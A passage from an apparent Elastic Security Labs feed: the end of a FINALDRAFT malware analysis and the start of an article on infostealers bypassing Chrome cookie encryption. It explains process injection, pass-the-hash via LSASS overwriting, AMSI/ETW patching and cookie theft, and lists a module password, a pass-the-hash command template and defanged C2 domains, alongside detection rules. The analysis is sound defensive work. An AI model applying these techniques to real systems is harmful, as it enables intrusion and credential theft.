  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};
</code></pre>
<p><em>Collected information structure</em></p>
<p>The external IP address is collected when enabled in the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image37.png" alt="Retrieve external IP if flag is set" /></p>
<p>This address is obtained by FINALDRAFT using the following list of public services.</p>
<table>
<thead>
<tr>
<th align="left">Public service</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxps://ip-api.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipinfo.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://myexternalip.com/raw</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipapi.co/json/</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://jsonip.com/</code></td>
</tr>
</tbody>
</table>
<p><em>IP lookup service list</em></p>
<h3>Process injection</h3>
<p>FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.</p>
<p>In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> as a fallback.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image50.png" alt="mspaint.exe process injection target" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image33.png" alt="conhost.exe process injection target" /></p>
<p>Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image44.png" alt="Create hidden process with piped STD handles" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image24.png" alt="Read process' piped stdout" /></p>
<p>Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image58.png" alt="Wait for injected process to create its named pipe" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image29.png" alt="Read from named pipe and send to C2" /></p>
<p>The process injection procedure is basic and based on <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, and <code>RtlCreateUserThread</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image48.png" alt="Process injection method" /></p>
<h3>Forwarding data from TCP, UDP, and named pipes</h3>
<p>FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.</p>
<p>Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.</p>
<p>Below is an example screenshot of the <code>recvfrom</code> call from the UDP listener.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image16.png" alt="Received data from UDP client" /></p>
<p>Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses <strong>COM</strong> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2">INetFwPolicy2</a> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule">INetFwRule</a> interfaces.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image34.png" alt="FINALDRAFT adds firewall rule to allow TCP server" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image30.png" alt="Instantiating the NetFwPolicy2 COM interface" /></p>
<p>FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, <code>“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”</code> and expects the server to echo the same magic value back before beginning to forward the received data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image27.png" alt="Send and receive magic data to/from TCP target" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image18.png" alt="Magic data blob" /></p>
<p>For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image31.png" alt="Forward data from named pipe" /></p>
<h3>File manipulation</h3>
<p>For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image54.png" alt="Zero out file before deletion" /></p>
<p>FINALDRAFT defaults to <code>CopyFileW</code> for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.</p>
<p>It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses <code>GetDiskFreeSpaceW</code> to retrieve information about the number of sectors per cluster and bytes per sector. <code>DeviceIoControl</code> is then called with <code>FSCTL_GET_RETRIEVAL_POINTERS</code> to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image14.png" alt="Retrieving file data extents" /></p>
<p>For each extent, it uses <code>SetFilePointer</code> to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image57.png" alt="Read/write file between clusters" /></p>
<p>If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the <code>$DATA</code> attribute (type identifier  = 128). Data is then extracted from this attribute and written to the destination file using <code>WriteFile</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image17.png" alt="Copy resident files using MFT records" /></p>
<h3>Injected Modules</h3>
<p>Our team observed several additional modules loaded through the <code>DoProcessInjectionSendOutputEx</code> command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known <a href="https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c">sRDI</a> project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.</p>
<h4>Network enumeration (<code>ipconfig.x64.dll</code>)</h4>
<p>This module creates a named pipe (<code>\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1</code>) waiting for FINALDRAFT to connect to it.  Perhaps to prevent analysis/sandboxing, the threat actor used a password (<code>Aslire597</code>) as an argument, if the password is incorrect, the module will not run.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image12.png" alt="String comparison with command-line password" /></p>
<p>As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (<code>GetAdaptersAddresses</code>, <code>GetAdaptersInfo</code>, <code>GetNetworkParams</code>) and reading the Windows registry keypath (<code>SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code>). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image38.png" alt="Retrieving network adapter information" /></p>
<h4>PowerShell execution (<code>Psloader.x64.dll</code>)</h4>
<p>This module allows the operator to execute PowerShell commands without invoking the <code>powershell.exe</code> binary. The code used is taken from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>, a well-known open source offensive security tool.</p>
<p>To evade detection, the module first hooks the <code>EtwEventWrite</code>, <code>ReportEventW</code>, and <code>AmsiScanBuffer</code> APIs, forcing them to always return <code>0</code>, which disables ETW logging and bypasses anti-malware scans.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image20.png" alt="Patching AMSI and ETW APis" /></p>
<p>Next, the DLL loads a .NET payload (<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>) stored in its <code>.data</code> section using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces">CLR Hosting technique</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image25.png" alt="Managed code of PowerPick loaded using CLR hosting technique" /></p>
<p>The module creates a named pipe (<code>\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2</code>) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed <strong>PowerPick</strong> binary is loaded and executed by the module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image26.png" alt="Managed binary of PowerPick loaded by the module" /></p>
<h4>Pass-the-Hash toolkit (<code>pnt.x64.dll</code>)</h4>
<p>This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, enabling lateral movement.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image45.png" alt="Decrypted strings from memory for PTH module" /></p>
<p>A password (<code>Aslire597</code>), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.</p>
<p><code>program.exe &lt;password&gt; &lt;domain&gt;\&lt;account&gt;:&lt;ntlm_hash&gt; &lt;target_process&gt;</code></p>
<p>Like the other module, it creates a named pipe, ”<code>\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9</code>”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image21.png" alt="named pipe creation for pnt.x64.dll" /></p>
<p>After establishing the pipe connection, the malware creates a target process in a suspended state using <code>CreateProcessWithLogonW</code>, identifies key structures like the <code>LogonSessionList</code> and <code>LogonSessionListCount</code> within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.</p>
<p>Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post &quot;<a href="https://www.praetorian.com/blog/inside-mimikatz-part2/">Inside the Mimikatz Pass-the-Hash Command (Part 2)</a>&quot; by Praetorian. The result is then sent to the named pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image22.png" alt="Named pipe output and created process" /></p>
<h2>FINALDRAFT ELF variant</h2>
<p>During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.</p>
<h3>Additional transport channels</h3>
<p>The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:</p>
<table>
<thead>
<tr>
<th align="left">C2 communication protocols</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">HTTP/HTTPS</td>
</tr>
<tr>
<td align="left">Reverse UDP</td>
</tr>
<tr>
<td align="left">ICMP</td>
</tr>
<tr>
<td align="left">Bind TCP</td>
</tr>
<tr>
<td align="left">Reverse TCP</td>
</tr>
<tr>
<td align="left">DNS</td>
</tr>
<tr>
<td align="left">Outlook via REST API (could be communicating with an API proxy)</td>
</tr>
<tr>
<td align="left">Outlook via Graph API</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT ELF variant C2 communication options</em></p>
<p>From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.</p>
<p>While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either <code>/var/log/installlog.log.&lt;UUID_from_config&gt;</code> or <code>/mnt/hgfsdisk.log.&lt;UUID_from_config&gt;</code> if it fails to write to the prior file.</p>
<p>Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number <code>0x1bb</code> (<code>443</code>) at offset <code>0xc8</code>, and flag for using HTTPS at offset <code>0xfc</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image2.png" alt="FINALDRAFT ELF variant configuration snippet" /></p>
<p>The domains are intentionally designed to typosquat well-known vendors, such as &quot;VMSphere&quot; (VMware vSphere). However, it's unclear which vendor &quot;Hobiter&quot; is attempting to impersonate in this instance.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">support.vmphere.com</td>
</tr>
<tr>
<td align="left">update.hobiter.com</td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Commands</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image32.png" alt="Command handlers" /></p>
<p>All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:</p>
<ul>
<li>Hostname</li>
<li>Current logged-in user</li>
<li>Intranet IP address</li>
<li>External IP address</li>
<li>Gateway IP address</li>
<li>System boot time</li>
<li>Operating system name and version</li>
<li>Kernel version</li>
<li>System architecture</li>
<li>Machine GUID</li>
<li>List of active network connections</li>
<li>List of running processes</li>
<li>Name of current process</li>
</ul>
<h4>Command Execution</h4>
<p>While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes <code>popen</code> for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image28.png" alt="Executing shell command" /></p>
<h4>Self Deletion</h4>
<p>To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to <code>sys_readlink</code>. <code>sys_unlink</code> is then called to remove the executable file from the filesystem.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image11.png" alt="Self deletion using sys_unlink" /></p>
<h2>Older FINALDRAFT PE sample</h2>
<p>During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.</p>
<p>The name of the binary is <code>Session.x64.dll</code>, and its entrypoint export is called <code>GoogleProxy</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image5.png" alt="PE export of FINALDRAFT" /></p>
<h3>HTTP transport channel</h3>
<p>This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image59.png" alt="Choice between Outlook and HTTP transport channels" /></p>
<p>In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (<code>checkponit[.]com</code>) was registered on 2022-08-26T09:43:16Z and domain (<code>fortineat[.]com</code>) was registred on 2023-11-08T09:47:47Z.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image6.png" alt="Domains found in the configuration" /></p>
<p>The domains purposely typosquat real known vendors, <strong>CheckPoint</strong> and <strong>Fortinet</strong>, in this case.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Shell command</h3>
<p>An additional command exists in this sample that is not present in later versions. This command, with ID <code>1</code>, executes a shell command.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image9.png" alt="Shell command handler setup" /></p>
<p>The execution is carried out by creating a <code>cmd.exe</code> process with the <code>&quot;/c&quot;</code> parameter, followed by appending the actual command to the parameter.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image60.png" alt="Create piped cmd.exe process" /></p>
<h1>Detection</h1>
<p>Elastic Defend detects the process injection mechanism through two rules. The first rule detects the <code>WriteProcessMemory</code> API call targeting another process, which is a common behavior observed in process injection techniques.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image42.png" alt="Detecting WriteProcessMemory in FINALDRAFT process injection" /></p>
<p>The second rule detects the creation of a remote thread to execute the shellcode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image35.png" alt="Detection of injected shellcode thread" /></p>
<p>We also detect the loading of the PowerShell engine by the <code>Psloader.x64.dll</code> module, which is injected into the known target <code>mspaint.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image4.png" alt="Detection of PowerShell engine loads" /></p>
<h1>Malware and MITRE ATT&amp;CK</h1>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h2>Tactics</h2>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
</ul>
<h2>Techniques</h2>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1102/003/">Web Service: One-Way Communication</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/003/">Masquerading: Rename System Utilities</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1550/002/">Use Alternate Authentication Material: Pass the Hash</a></li>
<li><a href="https://attack.mitre.org/techniques/T1046/">Network Service Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1012/">Query Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service</a></li>
</ul>
<h1>Mitigations</h1>
<h2>Detection</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml">Unusual PowerShell Engine ImageLoad</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Service</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml">Execution via Windows Command Line Debugging Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">Windows.Trojan.PathLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">Windows.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">Linux.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">Multi.Trojan.FinalDraft</a></li>
</ul>
<h1>Observations</h1>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Reference</th>
<th align="left">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td>
<td align="left">SHA256</td>
<td align="left">PATHLOADER</td>
<td align="left">VT first seen: 2023-05-09 09:44:45 UTC</td>
</tr>
<tr>
<td align="left"><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT initial sample</td>
<td align="left">Telemetry first seen: 2024-11-28 20:49:18.646</td>
</tr>
<tr>
<td align="left"><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT ELF variant</td>
<td align="left">VT first seen: 2024-10-05 07:15:00 UTC</td>
</tr>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2022-08-26T09:43:16Z  Valid until: 2025-08-26T07:00:00Z</td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z</td>
</tr>
<tr>
<td align="left"><code>support.vmphere[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z</td>
</tr>
<tr>
<td align="left"><code>update.hobiter[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/Security Labs Images 13.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses]]></title>
            <link>https://www.elastic.co/pt/security-labs/katz-and-mouse-game</link>
            <guid>katz-and-mouse-game</guid>
            <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p>
<p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p>
<ul>
<li>STEALC/VIDAR</li>
<li>METASTEALER</li>
<li>PHEMEDRONE</li>
<li>XENOSTEALER</li>
<li>LUMMA</li>
</ul>
<h1>Key takeaways</h1>
<ul>
<li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li>
<li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li>
<li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li>
<li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li>
</ul>
<h1>Background</h1>
<p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p>
<p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p>
<p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p>
<p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p>
<h2>Google Chrome Cookie Security</h2>
<p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p>
<p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p>
<p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p>
<h1>Stealer Bypass Techniques, Summarized</h1>
<p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p>
<ul>
<li>Remote debugging via Chrome’s DevTools Protocol</li>
<li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li>
<li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image30.png" alt="Timeline of events" /></p>
<h2>STEALC/VIDAR</h2>
<p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p>
<blockquote>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p>
</blockquote>
<p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image2.png" alt="Embedded PE file" /></p>
<p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image38.png" alt="Signature pattern for CookieMonster" /></p>
